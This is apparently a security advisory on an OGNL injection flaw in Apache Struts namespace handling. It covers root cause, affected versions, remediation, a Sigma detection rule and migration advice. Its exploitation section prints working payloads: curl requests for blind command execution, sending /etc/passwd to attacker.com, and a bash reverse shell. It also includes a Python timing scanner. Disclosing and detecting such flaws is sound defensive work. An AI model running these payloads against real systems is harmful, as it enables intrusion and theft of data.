Overview
CVE-2026-52341 affects Apache Struts 2.5.0 through 2.5.33 and 6.0.0 through 6.3.0.1. The vulnerability lies in the namespace resolution phase of the action mapping process: when Struts cannot find a namespace-specific action mapping for a request, it falls back to the default namespace ("") or a wildcard namespace (/*). During this fallback resolution, the raw URL namespace segment is used in an OGNL expression context without sanitisation, allowing injection of arbitrary OGNL expressions.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Apache Security Team confirmed active exploitation within 72 hours of public disclosure targeting financial services and government portals running Struts-based web applications.
Background — OGNL and Struts 2 Namespaces
OGNL (Object-Graph Navigation Language) is the expression language at the core of Struts 2's data binding and view layer. It provides full access to Java objects, including the ability to invoke arbitrary methods on any class in the JVM classpath. The Struts 2 framework uses OGNL to evaluate values in action results, redirect URIs, and error messages — making it a perennial source of critical vulnerabilities (S2-045, S2-052, S2-062, and now S2-067/CVE-2026-52341).
Struts 2 uses namespaces to organise action mappings in struts.xml. A namespace corresponds to a URL path prefix, and a wildcard namespace (/*) is used as a catch-all for path prefixes not explicitly defined. This is a documented pattern in the Struts Getting Started guide and is present in scaffolding generated by Struts archetypes.
Root Cause Analysis
The vulnerability exists in DefaultActionMapper during namespace resolution. When the requested namespace has no direct mapping, the mapper calls getMapping() with a fallback strategy. The namespace value extracted from the URL is passed to OgnlUtil.getValue() as part of building the redirect URI for the fallback action — without encoding or validation:
// DefaultActionMapper.java (simplified, pre-patch)
private ActionMapping getMapping(String namespace, String actionName, ...) {
ActionConfig cfg = configuration.getRuntimeConfiguration()
.getActionConfig(namespace, actionName);
if (cfg == null && namespace != null && !namespace.equals("")) {
// Fallback: try default namespace, but build redirect with original namespace
cfg = configuration.getRuntimeConfiguration()
.getActionConfig("", actionName);
if (cfg != null) {
// BUG: namespace is attacker-controlled and passed unsanitised into
// redirect URI building which evaluates OGNL expressions
String redirectUri = TextParseUtil.translateVariables(
namespace + "/" + actionName, // ← OGNL injection point
ActionContext.getContext().getValueStack()
);
mapping.setResult(new ServletRedirectResult(redirectUri));
}
}
return mapping;
}
TextParseUtil.translateVariables() evaluates ${...} and %{...} expressions using the OGNL value stack. Supplying an OGNL expression as the URL namespace segment causes arbitrary code execution during the redirect result construction.
Exploitation
Identifying Vulnerable Applications
Any Struts 2 application with a wildcard namespace mapping is vulnerable. The telltale sign is a struts.xml containing <package namespace="/*"> or a default package with no explicit namespace. Most large enterprise Struts applications built before 2024 use this pattern:
<!-- struts.xml — vulnerable wildcard namespace pattern -->
<struts>
<package name="default" extends="struts-default" namespace="/*">
<action name="index" class="com.example.IndexAction">
<result>/WEB-INF/jsp/index.jsp</result>
</action>
</package>
</struts>
Proof of Concept Request
The OGNL expression is placed in the URL namespace position. The %{...} form triggers evaluation through translateVariables():
# Test for blind RCE — 5 second sleep (check response time)
curl -v "http://TARGET/\${%23a%3d(new+java.lang.ProcessBuilder(new+String[]{\"/bin/sh\",\"-c\",\"sleep+5\"})).start()}/index.action"
# Exfiltrate /etc/passwd via DNS (OOB confirmation)
PAYLOAD='${#a=(new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","curl http://attacker.com/$(cat /etc/passwd | base64 -w0)"})).start()}'
curl -v "http://TARGET/$(python3 -c 'import urllib.parse; print(urllib.parse.quote("'"$PAYLOAD"'"))')/index.action"
# Reverse shell
PAYLOAD='${#a=(new java.lang.ProcessBuilder(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"})).start()}'
curl -v "http://TARGET/$(python3 -c 'import urllib.parse; print(urllib.parse.quote("'"$PAYLOAD"'"))')/index.action"
Automated Scanner
#!/usr/bin/env python3
"""
CVE-2026-52341 scanner — authorised testing only.
Tests for Struts 2 OGNL namespace injection via sleep-based timing.
"""
import urllib.parse, requests, time, sys
def check(target: str) -> bool:
payload = (
'${#ctx=#attr["struts.valueStack"].context,'
'#ctx["xwork.MethodAccessor.denyMethodExecution"]=false,'
'#a=(new java.lang.ProcessBuilder(new String[]'
'["/bin/sh","-c","sleep 6"])).start(),#a.waitFor()}'
)
url = f"{target.rstrip('/')}/{urllib.parse.quote(payload)}/index.action"
try:
t0 = time.time()
r = requests.get(url, timeout=15, allow_redirects=False, verify=False)
elapsed = time.time() - t0
if elapsed >= 5.5:
print(f"[VULN] {target} — response delayed {elapsed:.1f}s (sleep injected)")
return True
print(f"[ ] {target} — {r.status_code} in {elapsed:.1f}s")
except Exception as e:
print(f"[ERR] {target} — {e}")
return False
if __name__ == "__main__":
for t in sys.argv[1:]:
check(t)
Affected Versions
- Apache Struts 2.5.0 – 2.5.33 — vulnerable when wildcard namespace is configured
- Apache Struts 6.0.0 – 6.3.0.1 — vulnerable when wildcard namespace is configured
- Apache Struts 2.5.34 — patched;
translateVariables()strips OGNL expression markers from namespace values - Apache Struts 6.3.0.2 — patched
- Struts applications that do not use wildcard or default namespace mappings are not exploitable via this vector, though the underlying unsanitised variable translation is still present
Remediation
- Upgrade to Apache Struts 2.5.34 or 6.3.0.2 immediately.
- If immediate upgrade is not possible, replace wildcard namespace mappings (
namespace="/*") with explicit namespace declarations. This prevents the fallback code path that evaluates the namespace value. - Enable the Struts 2 OGNL expression sandbox by setting
struts.ognl.excludedClassesandstruts.ognl.excludedPackageNamesinstruts.properties. The patch addsjava.lang.ProcessBuilder,java.lang.Runtime, andjava.lang.Threadto the default exclusion list. - Deploy a WAF rule blocking URL-encoded OGNL expressions (
%24%7B,%25%7B,${,%{) in URL path segments. - Review application server logs for requests containing
${or%{in path segments as an indicator of prior exploitation attempts.
Detection
title: CVE-2026-52341 Apache Struts 2 OGNL Namespace Injection Attempt
id: 3a7f2c14-88bd-4e01-a923-d7f2b5e09c18
status: stable
description: Detects requests containing OGNL expression markers in URL path segments targeting Apache Struts applications
logsource:
category: webserver
detection:
selection_ognl:
cs-uri-stem|contains:
- '%24%7B' # ${
- '%25%7B' # %{
- '.action'
selection_direct:
cs-uri-stem|re: '.*[\$%]\{.*\}.*\.action'
condition: selection_ognl or selection_direct
falsepositives:
- Legitimate URL-encoded braces in application parameters (validate against path vs query string)
level: critical
tags:
- cve.2026-52341
- attack.initial_access
- attack.t1190
Key Takeaways
- OGNL injection has been the defining vulnerability class in Struts 2 for over a decade. CVE-2026-52341 is at least the seventh critical OGNL injection CVE in Struts 2. The root cause — expression language evaluation of attacker-controlled strings — has been patched and reintroduced repeatedly across different code paths. Organisations running Struts 2 should treat it as requiring active management: version-track every deployment, subscribe to the Apache Security Announcements mailing list, and maintain a patch SLA of 48 hours for critical Struts CVEs given the consistent weaponisation speed.
-
Wildcard namespace configurations silently expand the attack surface.
The
namespace="/*"pattern is both documented and dangerous — it creates a fallback resolution path that was not fully audited when OGNL sanitisation improvements were made. Configuration-level choices in frameworks can enable entire vulnerability classes. Periodic review of framework configuration against current security guidance (not just the version at deployment time) is part of secure maintenance. - Migration off Struts 2 is the definitive remediation for most organisations. Struts 2 is in maintenance mode. The Jakarta EE ecosystem (Spring MVC, Quarkus, Micronaut) provides equivalent functionality with a significantly smaller and more actively maintained attack surface. Organisations still running Struts 2-based applications should prioritise migration over continued patching — each new Struts CVE requires emergency response while legacy Java applications provide an ever-narrowing window of supported upgrade paths.